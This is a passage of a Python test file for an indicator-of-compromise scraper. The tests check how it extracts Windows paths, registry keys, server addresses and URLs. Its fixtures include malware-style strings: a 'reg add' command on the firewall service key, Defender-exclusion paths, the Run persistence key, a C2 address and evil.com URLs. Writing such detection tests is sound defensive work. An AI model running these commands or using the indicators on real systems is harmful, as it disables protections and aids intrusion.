        assert any("/etc/passwd" in ioc.ioc_value for ioc in path_iocs)

    def test_scrape_windows_path(self):
        text = r"Load from C:\Windows\System32\cmd.exe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert len(path_iocs) >= 1
        assert any(r"C:\Windows\System32\cmd.exe" in ioc.ioc_value for ioc in path_iocs)

    def test_scrape_windows_path_source_escaped(self):
        """Paths embedded in JS / JSON / PowerShell string literals appear with
        doubled backslashes. The regex must accept both forms, and the stored
        IOC must be normalised so escaped and runtime forms collapse to one."""
        text = "const exclusions = ['C:\\\\Windows\\\\Temp', 'C:\\\\Users\\\\Public'];"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert len(path_iocs) >= 2
        values = {ioc.ioc_value for ioc in path_iocs}
        assert r"C:\Windows\Temp" in values
        assert r"C:\Users\Public" in values
        assert not any("\\\\" in v for v in values), f"backslashes not normalised: {values}"

    def test_scrape_windows_path_with_wildcard(self):
        """Malware commonly uses wildcard paths like the Defender-exclusion
        pattern below; `*` is a valid path component and must be preserved."""
        text = "'C:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Temp'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Users\*\AppData\Local\Temp" == ioc.ioc_value for ioc in path_iocs)

    # --- Behaviour-pinning regression tests -----------------------------------
    # These lock in the trade-offs of the two-tier component grammar (strict
    # first char, permissive body in delimited segments, strict final segment,
    # colon excluded from bodies). Every one of them was a real-or-potential
    # regression while the regex was being rewritten.

    def test_path_with_internal_space(self):
        """`Program Files` is the canonical reason segment bodies must allow
        whitespace. The old regex's permissive body class was correct on this
        case; the new grammar must preserve it."""
        text = r"Path: C:\Program Files\Microsoft\app.exe"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Program Files\Microsoft\app.exe" == ioc.ioc_value for ioc in path_iocs)

    def test_path_with_internal_space_in_escaped_form(self):
        """The combination of source-escaping and internal whitespace is the
        case the old regex got wrong (it required single backslashes) and the
        first iteration of the new regex got wrong (it forbade whitespace
        everywhere). Both must work now."""
        text = "'C:\\\\Program Files (x86)\\\\Microsoft\\\\app.exe'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(r"C:\Program Files (x86)\Microsoft\app.exe" == ioc.ioc_value for ioc in path_iocs)

    def test_path_stops_at_whitespace_when_no_separator_follows(self):
        """The strict final-segment class prevents prose-slurping. Critical
        because segment bodies allow whitespace — without this, every path
        followed by free text would gobble the rest of the line."""
        text = r"see c:\users\admin and other stuff"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(ioc.ioc_value == r"c:\users\admin" for ioc in path_iocs)
        assert not any("stuff" in ioc.ioc_value for ioc in path_iocs)

    def test_two_drives_separated_by_prose_match_independently(self):
        """`From C:\\one to D:\\two` must yield two IOCs, not one slurp.
        Pinned because excluding `:` from segment bodies is what enables this
        — without that exclusion, ` to D:` would be valid body of segment 1."""
        text = r"From C:\one to D:\two"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert r"C:\one" in values
        assert r"D:\two" in values

    def test_path_lowercase_drive(self):
        text = r"Backup at d:\backup\db.sql"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert any(ioc.ioc_value == r"d:\backup\db.sql" for ioc in path_iocs)

    def test_path_just_root(self):
        """Bare `C:\\` (the root of a drive) must match — Defender exclusion
        lists ship it as a literal entry."""
        text = "['C:\\\\', 'C:\\\\Windows']"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert "C:\\" in values
        assert r"C:\Windows" in values

    def test_drive_letter_alone_does_not_match(self):
        """`D:` with no separator following is not a path."""
        text = "Drive D: is mounted"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert path_iocs == []

    def test_trailing_punctuation_is_stripped(self):
        """`See C:\\Path\\file.txt.` — the final period is sentence
        punctuation, not part of the path. `rstrip('.,;:')` strips it."""
        text = r"See C:\Path\file.txt, and also C:\Other\file.exe."
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert r"C:\Path\file.txt" in values
        assert r"C:\Other\file.exe" in values


class TestIOCScraperRegistryKey:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_hklm_short_form(self):
        text = r"reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess /v EnableFirewall"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" in ioc.ioc_value for ioc in reg_iocs)

    def test_scrape_hkey_long_form(self):
        text = r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" == ioc.ioc_value for ioc in reg_iocs)

    def test_scrape_registry_source_escaped(self):
        """Same source-escaping concern as Windows paths."""
        text = "'HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\DomainProfile'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" == ioc.ioc_value for ioc in reg_iocs)
        assert all("\\\\" not in ioc.ioc_value for ioc in reg_iocs)

    def test_bare_hive_not_extracted(self):
        """A bare hive mention with no path component should not match — too
        common in prose ('the HKLM hive') to be useful as an IOC."""
        text = "The HKLM hive contains system-wide settings; HKCU is per-user."
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert reg_iocs == []

    def test_registry_not_classified_as_path(self):
        """HKLM\\... starts with letters not a drive-letter+colon, so the
        Windows path regex must not also match it."""
        text = r"HKLM\SYSTEM\CurrentControlSet\Services\Foo"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert path_iocs == []


class TestIOCScraperServer:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_server(self):
        text = "Connect to 185.100.87.202:8080 for C2"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        server_iocs = [i for i in iocs if i.ioc_type == IOCType.SERVER]
        assert len(server_iocs) >= 1
        assert "185.100.87.202:8080" in server_iocs[0].ioc_value


class TestIOCScraperDedup:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_dedup_within_text(self):
        text = "https://evil.com https://evil.com"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) == 1

    def test_scrape_empty_text(self):
        iocs = list(self.scraper.scrape("", SourceType.STRING, "test"))
        assert len(iocs) == 0